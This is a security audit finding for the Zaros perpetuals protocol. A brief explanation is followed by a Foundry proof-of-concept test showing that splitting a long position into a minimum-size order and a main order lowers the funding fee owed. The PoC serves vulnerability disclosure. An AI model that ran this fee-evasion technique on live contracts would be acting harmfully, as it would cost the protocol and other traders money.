Traders can decrease their funding fee by opening a long position of a minimum size before increasing their main position.
Therefore, if a trader expects a higher positive skew, they can open a long position of a minimum size before
opening the main position to decrease the funding rate multiplied with a longer time elapsed. Then the bigger skew
is multiplied with 0 time elapsed, so no funding fee is accrued.
pragma solidity 0.8.25;
import { PremiumReport } from "@zaros/external/chainlink/interfaces/IStreamsLookupCompatible.sol";
import { IVerifierProxy } from "@zaros/external/chainlink/interfaces/IVerifierProxy.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { OrderBranch } from "@zaros/perpetuals/branches/OrderBranch.sol";
import { MarketOrder } from "@zaros/perpetuals/leaves/MarketOrder.sol";
import { SettlementBranch } from "@zaros/perpetuals/branches/SettlementBranch.sol";
import { PerpMarket } from "@zaros/perpetuals/leaves/PerpMarket.sol";
import { Position } from "@zaros/perpetuals/leaves/Position.sol";
import { SettlementConfiguration } from "@zaros/perpetuals/leaves/SettlementConfiguration.sol";
import { Base_Test } from "test/Base.t.sol";
import { TradingAccountHarness } from "test/harnesses/perpetuals/leaves/TradingAccountHarness.sol";
import { GlobalConfigurationHarness } from "test/harnesses/perpetuals/leaves/GlobalConfigurationHarness.sol";
import { PerpMarketHarness } from "test/harnesses/perpetuals/leaves/PerpMarketHarness.sol";
import { PositionHarness } from "test/harnesses/perpetuals/leaves/PositionHarness.sol";
import { GlobalConfigurationBranch } from "@zaros/perpetuals/branches/GlobalConfigurationBranch.sol";
import { UD60x18, ud60x18 } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18, unary } from "@prb-math/SD59x18.sol";
import { console } from "forge-std/console.sol";
contract FillMarketOrder_Integration_POC_Test is Base_Test {
function setUp() public override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
configureSystemParameters();
createPerpMarkets();
uint128 marketId = BTC_USD_MARKET_ID;
GlobalConfigurationBranch.UpdatePerpMarketConfigurationParams memory params = GlobalConfigurationBranch
.UpdatePerpMarketConfigurationParams({
name: marketsConfig[marketId].marketName,
symbol: marketsConfig[marketId].marketSymbol,
priceAdapter: marketsConfig[marketId].priceAdapter,
initialMarginRateX18: marketsConfig[marketId].imr,
maintenanceMarginRateX18: marketsConfig[marketId].mmr,
maxOpenInterest: marketsConfig[marketId].maxOi,
maxSkew: marketsConfig[marketId].maxSkew,
maxFundingVelocity: marketsConfig[marketId].maxFundingVelocity,
minTradeSizeX18: marketsConfig[marketId].minTradeSize,
skewScale: 1e18,
orderFees: marketsConfig[marketId].orderFees,
priceFeedHeartbeatSeconds: marketsConfig[marketId].priceFeedHeartbeatSeconds
});
perpsEngine.updatePerpMarketConfiguration(marketId, params);
changePrank({ msgSender: users.naruto.account });
}
struct Test_GivenTheMarginBalanceUsdIsOverTheMaintenanceMarginUsdRequired_Context {
uint256 marketId;
uint256 marginValueUsd;
uint256 expectedLastFundingTime;
uint256 expectedOpenInterest;
int256 expectedSkew;
int256 firstOrderExpectedPnl;
SD59x18 secondOrderExpectedPnlX18;
int256 expectedLastFundingRate;
int256 expectedLastFundingFeePerUnit;
uint128 tradingAccountId;
int128 firstOrderSizeDelta;
int128 secondOrderSizeDelta;
bytes firstMockSignedReport;
bytes secondMockSignedReport;
UD60x18 openInterestX18;
UD60x18 firstOrderFeeUsdX18;
UD60x18 secondOrderFeeUsdX18;
UD60x18 firstFillPriceX18;
UD60x18 secondFillPriceX18;
SD59x18 skewX18;
MarketConfig fuzzMarketConfig;
PerpMarket.Data perpMarketData;
MarketOrder.Data marketOrder;
Position.Data expectedPosition;
Position.Data position;
address marketOrderKeeper;
}
function test_POC_fillMarketOrder_OpenLong_AtOnce_WhenPositiveSkew() external {
Test_GivenTheMarginBalanceUsdIsOverTheMaintenanceMarginUsdRequired_Context memory ctx;
ctx.marketId = BTC_USD_MARKET_ID;
ctx.marginValueUsd = 2000e18;
deal({ token: address(usdz), to: users.naruto.account, give: ctx.marginValueUsd });
ctx.fuzzMarketConfig = getFuzzMarketConfig(ctx.marketId);
ctx.marketOrderKeeper = marketOrderKeepers[ctx.fuzzMarketConfig.marketId];
ctx.tradingAccountId = createAccountAndDeposit(ctx.marginValueUsd, address(usdz));
ctx.firstOrderSizeDelta = 1e18;
ctx.firstFillPriceX18 = perpsEngine.getMarkPrice(
ctx.fuzzMarketConfig.marketId, ctx.fuzzMarketConfig.mockUsdPrice, ctx.firstOrderSizeDelta
);
console.log("-----createMarketOrder1-----");
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.firstOrderSizeDelta
})
);
ctx.firstOrderExpectedPnl = int256(0);
ctx.firstMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
changePrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
SD59x18 accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 0, "first fill: position funding fee");
uint256 updatedPrice = MOCK_BTC_USD_PRICE + MOCK_BTC_USD_PRICE / 10;
updateMockPriceFeed(BTC_USD_MARKET_ID, updatedPrice);
ctx.secondOrderSizeDelta = 1e18;
ctx.fuzzMarketConfig.mockUsdPrice = updatedPrice;
uint256 timeElapsed = 1 days;
skip(timeElapsed);
console.log("-----createMarketOrder2-----");
vm.startPrank({ msgSender: users.naruto.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.secondOrderSizeDelta
})
);
ctx.secondMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
ctx.secondOrderExpectedPnlX18 = ctx.secondFillPriceX18.intoSD59x18().sub(ctx.firstFillPriceX18.intoSD59x18())
.mul(sd59x18(ctx.firstOrderSizeDelta)).add(
sd59x18(ctx.expectedLastFundingFeePerUnit).mul(sd59x18(ctx.position.size))
);
vm.startPrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.secondMockSignedReport);
accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 8250000000000000000000, "second fill: position funding fee");
}
function test_POC_fillMarketOrder_OpenLong_By2Step_WhenPositiveSkew() external {
Test_GivenTheMarginBalanceUsdIsOverTheMaintenanceMarginUsdRequired_Context memory ctx;
ctx.marketId = BTC_USD_MARKET_ID;
ctx.marginValueUsd = 2000e18;
deal({ token: address(usdz), to: users.naruto.account, give: ctx.marginValueUsd });
ctx.fuzzMarketConfig = getFuzzMarketConfig(ctx.marketId);
ctx.marketOrderKeeper = marketOrderKeepers[ctx.fuzzMarketConfig.marketId];
ctx.tradingAccountId = createAccountAndDeposit(ctx.marginValueUsd, address(usdz));
ctx.firstOrderSizeDelta = 1e18;
ctx.firstFillPriceX18 = perpsEngine.getMarkPrice(
ctx.fuzzMarketConfig.marketId, ctx.fuzzMarketConfig.mockUsdPrice, ctx.firstOrderSizeDelta
);
console.log("-----createMarketOrder1-----");
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.firstOrderSizeDelta
})
);
ctx.firstOrderExpectedPnl = int256(0);
ctx.firstMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
changePrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
SD59x18 accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 0, "first fill: position funding fee");
uint256 updatedPrice = MOCK_BTC_USD_PRICE + MOCK_BTC_USD_PRICE / 10;
updateMockPriceFeed(BTC_USD_MARKET_ID, updatedPrice);
ctx.secondOrderSizeDelta = 0.001e18;
ctx.fuzzMarketConfig.mockUsdPrice = updatedPrice;
uint256 timeElapsed = 1 days;
skip(timeElapsed);
console.log("-----createMarketOrder2-----");
vm.startPrank({ msgSender: users.naruto.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.secondOrderSizeDelta
})
);
ctx.secondMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
ctx.secondOrderExpectedPnlX18 = ctx.secondFillPriceX18.intoSD59x18().sub(ctx.firstFillPriceX18.intoSD59x18())
.mul(sd59x18(ctx.firstOrderSizeDelta)).add(
sd59x18(ctx.expectedLastFundingFeePerUnit).mul(sd59x18(ctx.position.size))
);
vm.startPrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.secondMockSignedReport);
accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 3304125825000000000000, "second fill: position funding fee");
console.log("-----createMarketOrder3-----");
ctx.secondOrderSizeDelta = 0.999e18;
vm.startPrank({ msgSender: users.naruto.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.secondOrderSizeDelta
})
);
vm.startPrank({ msgSender: ctx.marketOrderKeeper });
ctx.position = PositionHarness(address(perpsEngine)).exposed_Position_load(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId
);
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.secondMockSignedReport);
accruedFunding = PositionHarness(address(perpsEngine)).exposed_getAccruedFunding(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SD59x18.wrap(ctx.position.lastInteractionFundingFeePerUnit)
);
console.log("accruedFunding.intoInt256(): %s", accruedFunding.intoInt256());
assertEq(accruedFunding.intoInt256(), 0, "third fill: position funding fee");
}
}
Foundry.
https://github.com/Cyfrin/2024-07-zaros/blob/7439d79e627286ade431d4ea02805715e46ccf42/src/perpetuals/leaves/PerpMarket.sol#L243-L257